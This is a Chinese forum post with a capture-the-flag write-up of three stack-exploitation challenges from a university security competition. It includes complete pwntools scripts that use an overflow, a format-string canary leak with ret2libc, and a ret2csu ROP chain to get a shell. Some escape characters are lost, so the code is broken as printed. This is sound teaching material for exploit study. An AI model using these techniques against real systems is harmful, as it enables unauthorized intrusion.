安全矩阵

 找回密码
 立即注册
搜索
查看: 3105|回复: 0

全国大学生信息安全竞赛半决赛西北赛区 pwn题writeup

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-4-2 22:17:24 | 显示全部楼层 |阅读模式
本帖最后由 wholesome 于 2020-4-2 22:30 编辑

背景
好久没做pwn,国赛半决赛临时复习了栈相关的漏洞利用,正好排上用场,做了几道题,写下此文做个总结和分享我的做题思路。

Robot
提供了Binary和libc库
平台:x64
分析确定思路
拖进ida看看先:




试运行 看看保护机制

有canary又有NX再加上提供了Lib库,真让人让人思绪万千,后来发现其实没有那么复杂,是出题人故意迷惑我们的。
程序的流程是这样的:
先scanf()输入一串字符串(存在溢出),然后strcmp与一个32位长的字符串比较,相同则进行后续的操作,否则推出。后续操作是用户输入选择1到4,再给变量赋值字符串。除了v0=4时都会把变量传给catfile函数,作为文件名去打开并显示内容。
v0==4的时候是这样的:

可以看到赋值了flag的字符串后就退出了。其实给了lib库迷惑性很大,不过仔细想想,把其他情况的变量覆盖为flag,然后传入catfile()函数就可以通过catfile()函数拿到flag。
所以思路如下:通过scanf()溢出覆盖到v6,然后用户输入除1到4以外的数字,执行catfile()拿到flag。

exp编写
编写exp的时候,注意文件名只能是flag没有其他字符,我想的是用’’字符填充,并且覆盖到v6字符串长度必须要是36字节长,并且要能表示出flag文件的路径,所以我用的是”./“作为填充,因为在Linux这表示当前路径。exp如下:
  1. from pwn import *

  2. context.log_level="debug"
  3. p=remote("172.16.1.101",1337)
  4. #p=process("./Robot")
  5. p.recvuntil("...n")

  6. p.sendline("666")
  7. p.recvuntil(":n")
  8. payload1="327a6c4304ad5938eaf0efb6cc3e53dc"
  9. payload=payload1+''+(64-len(payload1)-1)*''+'./'*16+'flag'+''
  10. p.sendline(payload)
  11. #gdb.attach(p)
  12. p.recvuntil("gn")
  13. p.sendline('5')
  14. print p.recvline(),p.recvline(),p.recvline()
复制代码
个人收获:
一开始自己做的时候,怎么也拿不到flag,原因在于,文件路径必须36个字节长,而且flag的文件名就是flag,需要一些填充和00截断。填充的字符还不能影响到flag的路径,想了一会儿决定用”./“填充。然后就拿到了flag

pwn1
题目给了binary和lib库
分析确定思路
拿到源文件拖进ida先看看:


我们可以看到main函数中没有对输入的长度进行限制存在溢出,get_message()函数中存在格式化字符串和溢出漏洞
发现很明显的格式化字符串漏洞和溢出,然后进虚拟机试运行看看保护,查看got表,再确定思路。


emmm,有canary,然后nx可执行。再加上main函数和get_message函数都存在溢出问题。
所以确定思路为:
先通过格式化字符串漏洞,泄露出canary值,然后再通过get_message()函数的gets(s)溢出返回到main函数,泄露gets函数地址,再通过泄露的函数地址和给的lib库计算出,system()函数和”/bin/sh”的地址,然后再借助getmessa[color=var(--darkreader-inline-color) ]ge()函数溢出返回执行system(“/bin/sh”)
调试确定偏移


试运行确定格式化字符串的偏移量

发现要访问到我们自己输入的格式化串的偏移量为46,再验证下:

泄露canary之前必须得知道canary位置在哪儿,所以先动态调试调试确定canary与我们的输入的偏移量:

刚执行完从gs:0x14处获得canary值得指令,执行完毕后查看eax=0xb2b64100(这里截图没截到)
然后看看栈中的情况:

可以发现我们输入的AAAA与cannary差了25个dword。
然后与之前的46相结合,偏移量为71即可泄露canary.
然后用同样的方法可以确实getmessage()函数中我们的输入与canary的偏移量,为100个字节,canary与返回地址偏移量为12字节,从而构造payload利用泄露的canary溢出修改函数返回地址到main函数,然后再泄露gets函数位置。
编写exp
  1. from pwn import *

  2. p=process("./pwn1")
  3. elf=ELF("./pwn1")
  4. libc=ELF("./libc2.so")
  5. main=0x804851b
  6. deadbeef=0xdeadbeef
  7. got_gets=elf.got['gets']
  8. print hex(got_gets)

  9. #leak the cannary first
  10. p.recvuntil("name:")
  11. payload="AAAA"+"%71$x"
  12. #gdb.attach(p)![](https://p1.ssl.qhimg.com/t01454ae1ecf5a2cff6.png)
  13. p.sendline(payload)
  14. p.recvline()
  15. cannary= int(p.recv()[4:12],16)
  16. print " cannary: "+hex(cannary)

  17. # ret to the main fuction

  18. payload2="a"*100+p32(cannary)+12*"b"+p32(main)
  19. #p.recvuntil(":")
  20. p.sendline(payload2)

  21. # leak the gets address

  22. payload3=p32(got_gets)+"   %46$s"
  23. p.recvuntil("name:")
  24. p.sendline(payload3)
  25. gdb.attach(p)
  26. p.recvline()
  27. gets_addr=u32(p.recv()[7:11])
  28. print "gets_addr" +hex(gets_addr)


  29. #caculate the systemaddr and binshaddr
  30. system_addr=gets_addr-(libc.symbols['gets']-libc.symbols['system'])
  31. print "system addr:  "+hex(system_addr)
  32. binsh_addr=gets_addr-(libc.symbols['gets']-next(libc.search('/bin/sh')))
  33. print "binsh addr :" +hex(binsh_addr)

  34. # get the shell
  35. payload4="a"*100+p32(cannary)+12*"b"+p32(system_addr)+p32(deadbeef)+p32(binsh_addr)
  36. p.sendline(payload4)



  37. p.interactive()
复制代码

个人收获:
之前接触格式化字符串,感觉很简单,并没有实际操作,然后比赛的时候遇到真的很艰难,特别是用格式化字符串泄露的时候,recv到的结果不知道取那些位,调试了好久终于对这些东西开始敏感了,也知道坑在哪里了。

pwn
题目给了Binary和lib库
分析文件流程
拖进ida看看:
x64程序

很明显的溢出
再看看保护机制

啥也没开,甚至可以使用shellcode,不过使用shellcode要能泄露出栈中的地址,有点麻烦,我使用的是rop。
思路
通过位于csu_init中的通用gadget泄露write函数的地址,从而计算出system函数地址,再用通用gadget将system地址和”/bin/sh”写入bss段,再通过通用gadget执行system(“/bin/sh”)


exp 编写
借助通用型的rop编写exp,但是有点坑,有点小小的不同。
通用rop是借助的csu_init这个函数
的代码片段:

与蒸米大大的文章中有所不同,0x400600处mov指令操作的对象有所不同,可以查看蒸米大大的文章进行比对。所以从实际出发,构造的栈参数应该是这样的:

  1. #0
  2. #0
  3. #1
  4. #函数地址
  5. #rdx
  6. #rsi
  7. #rdi
复制代码

所以exp为:
  1. from pwn import *
  2. elf = ELF('pwn')
  3. libc=ELF('libc.so')



  4. p = process('./pwn')
  5. bss_addr = elf.bss(0x10)
  6. got_write = elf.got['write']
  7. got_read = elf.got['read']
  8. log.success("The write got address is "+ hex(got_write))
  9. log.success("The read got address is "+ hex(got_read))
  10. main = 0x400587
  11. def leak(address):
  12.     p.recv()
  13.     payload =  "x00"*136
  14.     payload += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(address) + p64(1)
  15.     payload += p64(0x400600)
  16.     payload += "x00"*56
  17.     payload += p64(main)
  18.     p.send(payload)
  19.     data = p.recv(8)
  20.     return data
  21. write_addr=u64(leak(got_write))
  22. print "write:"+hex(write_addr)
  23. print "bss:" +hex(bss_addr)
  24. system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
  25. binsh='/bin/sh'
  26. log.success("The system address is " + hex(system_addr))
  27. payload2 = 'x00' * 136
  28. payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)
  29. payload2 += p64(0x400600)
  30. payload2 += "x00" * 56
  31. payload2 += p64(main)
  32. p.send(payload2)
  33. addr=p64(system_addr)+binsh
  34. p.send(addr)

  35. payload3 = 'x00' * 136
  36. payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)
  37. payload3 += p64(0x400600)
  38. payload3 += "x00"*56
  39. payload3 += p64(main)
  40. p.send(payload3)

  41. p.interactive()
复制代码
个人收获,由于csu_init中的gadaget与蒸米大大文章中有所区别,所以自己调试了很多遍,终于发现了为啥get不了shell对利用通用gadget写exp脚本有了更深的理解
总结
这几道题是pwn选手必会的栈漏洞利用题目类型,看着原理简单,但是到自己写exp的时候就犯难了,所以自己动手实践很重要。pwn遇到不懂的就应该多调调,我本是做逆向的临时调pwn压力山大,不过还好学到了东西!
talk is cheap , debug is real!
文件放这儿了:
https://pan.baidu.com/s/1ImyewCgZqDDQHE_G2xrNVQ
密码:kcu5
有兴趣的朋友可以自己调调
参考链接:https://www.anquanke.com/post/id/147285






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:26 , Processed in 0.012874 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表